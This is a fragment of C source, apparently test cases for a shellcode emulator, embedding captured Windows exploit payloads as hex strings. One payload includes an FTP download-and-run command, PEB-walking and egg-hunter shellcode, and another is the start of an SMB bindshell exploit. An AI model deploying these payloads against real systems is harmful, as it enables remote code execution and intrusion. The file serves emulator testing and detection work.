t\t\"\\x20\\x65\\x72\\x61\\x73\\x65\\x6d\\x65\\x5f\\x38\\x31\\x34\\x37\\x30\\x2e\\x65\"\n\t\t\"\\x78\\x65\\x20\\x3e\\x3e\\x20\\x69\\x20\\x26\\x65\\x63\\x68\\x6f\\x20\\x71\\x75\"\n\t\t\"\\x69\\x74\\x20\\x3e\\x3e\\x20\\x69\\x20\\x26\\x66\\x74\\x70\\x20\\x2d\\x6e\\x20\"\n\t\t\"\\x2d\\x73\\x3a\\x69\\x20\\x26\\x65\\x72\\x61\\x73\\x65\\x6d\\x65\\x5f\\x38\\x31\"\n\t\t\"\\x34\\x37\\x30\\x2e\\x65\\x78\\x65\\x0d\\x0a\\x00\\x42\\x42\\x42\\x42\\x42\\x42\"\n\t\t\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\n\t\t\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\n\t\t\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\n\t\t\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\n\t\t\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\n\t\t\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\n\t\t\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\n\t\t\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\n\t\t\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\n\t\t\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\n\t\t\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\n\t\t\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\n\t\t\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\n\t\t\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\n\t\t\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\n\t\t\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\n\t\t\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\n\t\t\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\n\t\t\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\n\t\t\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\n\t\t\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\n\t\t\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\n\t\t\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\n\t\t\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\n\t\t\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\n\t\t\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\n\t\t\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\n\t\t\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\n\t\t\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\n\t\t\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\n\t\t\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\n\t\t\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\n\t\t\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\n\t\t\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\n\t\t\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\n\t\t\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\n\t\t\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\n\t\t\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\n\t\t\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\n\t\t\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\n\t\t\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\n\t\t\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\n\t\t\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\n\t\t\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\n\t\t\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\n\t\t\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x23\\x0a\\x03\"\n\t\t\"\\x08\\x00\\xf8\\x0f\\x01\\x00\\xf8\\x0f\\x01\\x23\\x82\\x08\\x39\\x03\\x82\\x04\"\n\t\t\"\\x11\\x00\\x43\\x43\\x43\\x43\\x20\\xf0\\xfd\\x7f\\x53\\x56\\x57\\x66\\x81\\xec\"\n\t\t\"\\x80\\x00\\x89\\xe6\\xe8\\xed\\x00\\x00\\x00\\xff\\x36\\x68\\x09\\x12\\xd6\\x63\"\n\t\t\"\\xe8\\xf7\\x00\\x00\\x00\\x89\\x46\\x08\\xe8\\xa2\\x00\\x00\\x00\\xff\\x76\\x04\"\n\t\t\"\\x68\\x6b\\xd0\\x2b\\xca\\xe8\\xe2\\x00\\x00\\x00\\x89\\x46\\x0c\\xe8\\x3f\\x00\"\n\t\t\"\\x00\\x00\\xff\\x76\\x04\\x68\\xfa\\x97\\x02\\x4c\\xe8\\xcd\\x00\\x00\\x00\\x31\"\n\t\t\"\\xdb\\x68\\x10\\x04\\x00\\x00\\x53\\xff\\xd0\\x89\\xc3\\x56\\x8b\\x76\\x10\\x89\"\n\t\t\"\\xc7\\xb9\\x10\\x04\\x00\\x00\\xf3\\xa4\\x5e\\x31\\xc0\\x50\\x50\\x50\\x53\\x50\"\n\t\t\"\\x50\\xff\\x56\\x0c\\x8b\\x46\\x08\\x66\\x81\\xc4\\x80\\x00\\x5f\\x5e\\x5b\\xff\"\n\t\t\"\\xe0\\x60\\xe8\\x23\\x00\\x00\\x00\\x8b\\x44\\x24\\x0c\\x8d\\x58\\x7c\\x83\\x43\"\n\t\t\"\\x3c\\x05\\x81\\x43\\x28\\x00\\x10\\x00\\x00\\x81\\x63\\x28\\x00\\xf0\\xff\\xff\"\n\t\t\"\\x8b\\x04\\x24\\x83\\xc4\\x14\\x50\\x31\\xc0\\xc3\\x31\\xd2\\x64\\xff\\x32\\x64\"\n\t\t\"\\x89\\x22\\x31\\xdb\\xb8\\x90\\x42\\x90\\x42\\x31\\xc9\\xb1\\x02\\x89\\xdf\\xf3\"\n\t\t\"\\xaf\\x74\\x03\\x43\\xeb\\xf3\\x89\\x7e\\x10\\x64\\x8f\\x02\\x58\\x61\\xc3\\x60\"\n\t\t\"\\xbf\\x20\\xf0\\xfd\\x7f\\x8b\\x1f\\x8b\\x46\\x08\\x89\\x07\\x8b\\x7f\\xf8\\x81\"\n\t\t\"\\xc7\\x78\\x01\\x00\\x00\\x89\\xf9\\x39\\x19\\x74\\x04\\x8b\\x09\\xeb\\xf8\\x89\"\n\t\t\"\\xfa\\x39\\x5a\\x04\\x74\\x05\\x8b\\x52\\x04\\xeb\\xf6\\x89\\x11\\x89\\x4a\\x04\"\n\t\t\"\\xc6\\x43\\xfd\\x01\\x61\\xc3\\xa1\\x0c\\xf0\\xfd\\x7f\\x8b\\x40\\x1c\\x8b\\x58\"\n\t\t\"\\x08\\x89\\x1e\\x8b\\x00\\x8b\\x40\\x08\\x89\\x46\\x04\\xc3\\x60\\x8b\\x6c\\x24\"\n\t\t\"\\x28\\x8b\\x45\\x3c\\x8b\\x54\\x05\\x78\\x01\\xea\\x8b\\x4a\\x18\\x8b\\x5a\\x20\"\n\t\t\"\\x01\\xeb\\xe3\\x38\\x49\\x8b\\x34\\x8b\\x01\\xee\\x31\\xff\\x31\\xc0\\xfc\\xac\"\n\t\t\"\\x38\\xe0\\x74\\x07\\xc1\\xcf\\x0d\\x01\\xc7\\xeb\\xf4\\x3b\\x7c\\x24\\x24\\x75\"\n\t\t\"\\xe1\\x8b\\x5a\\x24\\x01\\xeb\\x66\\x8b\\x0c\\x4b\\x8b\\x5a\\x1c\\x01\\xeb\\x8b\"\n\t\t\"\\x04\\x8b\\x01\\xe8\\x89\\x44\\x24\\x1c\\x61\\xc2\\x08\\x00\\xeb\\xfe\\x43\\x43\"\n\t\t\"\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\"\n\t\t\"\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\"\n\t\t\"\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\"\n\t\t\"\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\"\n\t\t\"\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\"\n\t\t\"\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\"\n\t\t\"\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\"\n\t\t\"\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\"\n\t\t\"\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\"\n\t\t\"\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\"\n\t\t\"\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\"\n\t\t\"\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\"\n\t\t\"\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\"\n\t\t\"\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\"\n\t\t\"\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\"\n\t\t\"\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\"\n\t\t\"\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\"\n\t\t\"\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\"\n\t\t\"\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\"\n\t\t\"\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\"\n\t\t\"\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\"\n\t\t\"\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\"\n\t\t\"\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\"\n\t\t\"\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\"\n\t\t\"\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\"\n\t\t\"\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\"\n\t\t\"\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\"\n\t\t\"\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\"\n\t\t\"\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\"\n\t\t\"\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\"\n\t\t\"\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\"\n\t\t\"\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\"\n\t\t\"\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\"\n\t\t\"\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\"\n\t\t\"\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\"\n\t\t\"\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\"\n\t\t\"\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\"\n\t\t\"\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\"\n\t\t\"\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\"\n\t\t\"\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\"\n\t\t\"\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\"\n\t\t\"\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\"\n\t\t\"\\x43\\x43\\x23\\x82\\x04\\x20\\x03\\x09\\x00\\xeb\\x06\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x03\\x82\\x04\\x11\\x00\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n\t\t\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n\t\t\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n\t\t\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n\t\t\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n\t\t\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n\t\t\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n\t\t\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n\t\t\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n\t\t\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n\t\t\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n\t\t\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n\t\t\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n\t\t\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n\t\t\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n\t\t\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n\t\t\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n\t\t\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n\t\t\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n\t\t\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n\t\t\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n\t\t\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n\t\t\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n\t\t\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n\t\t\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n\t\t\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n\t\t\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n\t\t\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n\t\t\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n\t\t\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n\t\t\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n\t\t\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n\t\t\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n\t\t\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n\t\t\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n\t\t\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n\t\t\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n\t\t\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n\t\t\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n\t\t\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n\t\t\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n\t\t\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n\t\t\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n\t\t\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n\t\t\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n\t\t\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n\t\t\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n\t\t\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n\t\t\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n\t\t\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n\t\t\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n\t\t\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n\t\t\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n\t\t\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n\t\t\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n\t\t\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n\t\t\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n\t\t\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n\t\t\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n\t\t\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n\t\t\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n\t\t\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n\t\t\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n\t\t\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n\t\t\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n\t\t\"\\x44\\x44\\x44\\x44\\x44\\x44\\x00\\x00\\x00\\x00\\x00\\x00\",\n\t\t.codesize = 4428,       .in_state.reg  = {0,0xfffffe6c,0,0,0x12fe98,0x12ff74,0x12fe9c,0x12ff74}, // ollydbg\n\t\t.in_state.mem_state = {0, 0},\n\t},\n\t{\n\t\t.instr = \"bindshell::schoenborn\",\n\t\t.code =  \n\t\t\"\\x00\\x00\\x00\\xa4\\xff\\x53\\x4d\\x42\\x73\\x00\\x00\\x00\\x00\\x18\\x07\\xc8\"\n\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xfe\"\n\t\t\"\\x00\\x00\\x10\\x00\\x0c\\xff\\x00\\xa4\\x00\\x04\\x11\\x0a\\x00\\x00\\x00\\x00\"\n\t\t\"\\x00\\x00\\x00\\x20\\x00\\x00\\x00\\x00\\x00\\xd4\\x00\\x00\\x80\\x69\\x00\\x4e\"\n\t\t\"\\x54\\x4c\\x4d\\x53\\x53\\x50\\x00\\x01\\x00\\x00\\x00\\x97\\x82\\x08\\xe0\\x00\"\n\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\t\t\"\\x57\\x00\\x69\\x00\\x6e\\x00\\x64\\x00\\x6f\\x00\\x77\\x00\\x73\\x00\\x20\\x00\"\n\t\t\"\\x32\\x00\\x30\\x00\\x30\\x00\\x30\\x00\\x20\\x00\\x32\\x00\\x31\\x00\\x39\\x00\"\n\t\t\"\\x35\\x00\\x00\\x00\\x57\\x00\\x69\\x00\\x6e\\x00\\x64\\x00\\x6f\\x00\\x77\\x00\"\n\t\t\"\\x73\\x00\\x20\\x00\\x32\\x00\\x30\\x00\\x30\\x00\\x30\\x00\\x20\\x00\\x35\\x00\"\n\t\t\"\\x2e\\x00\\x30\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xda\\xff\\x53\\x4d\\x42\"\n\t\t\"\\x73\\x00\\x00\\x00\\x00\\x18\\x07\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xfe\\x00\\x08\\x20\\x00\\x0c\\xff\\x00\\xda\"\n\t\t\"\\x00\\x04\\x11\\x0a\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x57\\x00\\x00\\x00\\x00\"\n\t\t\"\\x00\\xd4\\x00\\x00\\x80\\x9f\\x0